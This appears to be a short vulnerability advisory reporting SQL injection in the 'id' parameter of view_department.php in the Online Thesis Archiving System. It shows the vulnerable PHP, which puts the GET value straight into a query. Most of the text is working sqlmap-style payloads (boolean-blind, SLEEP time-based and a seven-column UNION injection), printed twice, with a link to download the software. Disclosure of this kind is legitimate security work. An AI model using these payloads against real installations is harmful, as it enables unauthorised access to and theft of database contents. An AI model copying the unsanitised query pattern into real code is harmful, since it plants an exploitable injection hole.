

SQL injection vulnerability exists in id parameter of /admin/departments/view_department.php file of Online Thesis Archiving System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
2 require_once('../config.php');
3 if(isset($_GET['id'])){
4     $qry = $conn->query("SELECT * FROM `curriculum_list` where id = '{$_GET['id']}'");
5     if($qry->num_rows > 0){
6         $res = $qry->fetch_array();
7         foreach($res as $k => $v){
8             if(!is_numeric($k))
9                 $$k = $v;
10        }
11    }
12 }
13 ?>
```

```
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 4600=4600 AND 'YMqJ'='YMqJ

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1981 FROM (SELECT(SLEEP(5)))FAwE) AND 'ytko'='ytko

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-2674' UNION ALL SELECT CONCAT(0x7178787871,0x55444f744a736a754c54694f4e466f4b5a586f506a684d7a6453794e78685a6b50694e414b75596c,0x7170767a71),NULL,NULL,NULL,NULL,NULL,NULL-- -
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: id=1' AND 4600=4600 AND 'YMqJ'='YMqJ

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 1981 FROM (SELECT(SLEEP(5)))FAwE) AND 'ytko'='ytko

Type: UNION query

Title: Generic UNION query (NULL) - 7 columns

Payload: id=-2674' UNION ALL SELECT

CONCAT(0x7178787871,0x55444f744a736a754c54694f4e466f4b5a586f506a684d7a6453794e78685a6b50694e414b75596c,0x7170767a71),NULL,NULL,NULL,NULL,NULL,NULL-- -

“

Source Download:

<https://www.campcodes.com/projects/php/online-thesis-archiving-system-in-php-mysql/>